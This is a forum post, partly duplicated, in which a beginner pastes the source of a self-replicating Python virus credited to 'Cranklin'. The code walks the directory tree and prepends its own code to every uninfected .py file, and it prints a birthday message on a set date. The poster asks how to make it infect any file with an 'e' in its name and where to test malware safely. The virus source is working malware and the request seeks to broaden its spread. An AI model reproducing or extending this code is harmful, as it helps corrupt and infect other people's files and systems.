Feb-24-2017, 12:06 AM
First time poster, long time lurker.
I have a background of c++/c# programming and just a started practicing with Python. While looking for tutorials online I found this code written by Cranklin.
Also, what's the best environment to test viruses/malware/Trojan/ect? Would virtual box be a smart idea?
Thanks.
I have a background of c++/c# programming and just a started practicing with Python. While looking for tutorials online I found this code written by Cranklin.
#!/usr/bin/python import os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAPPY BIRTHDAY CRANKLIN!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()From my understanding this little jewel is supposed to run every time a .py file is opened. Now, if I wanted to run on every file that contains an "e" in the name what should I do?
Also, what's the best environment to test viruses/malware/Trojan/ect? Would virtual box be a smart idea?
Thanks.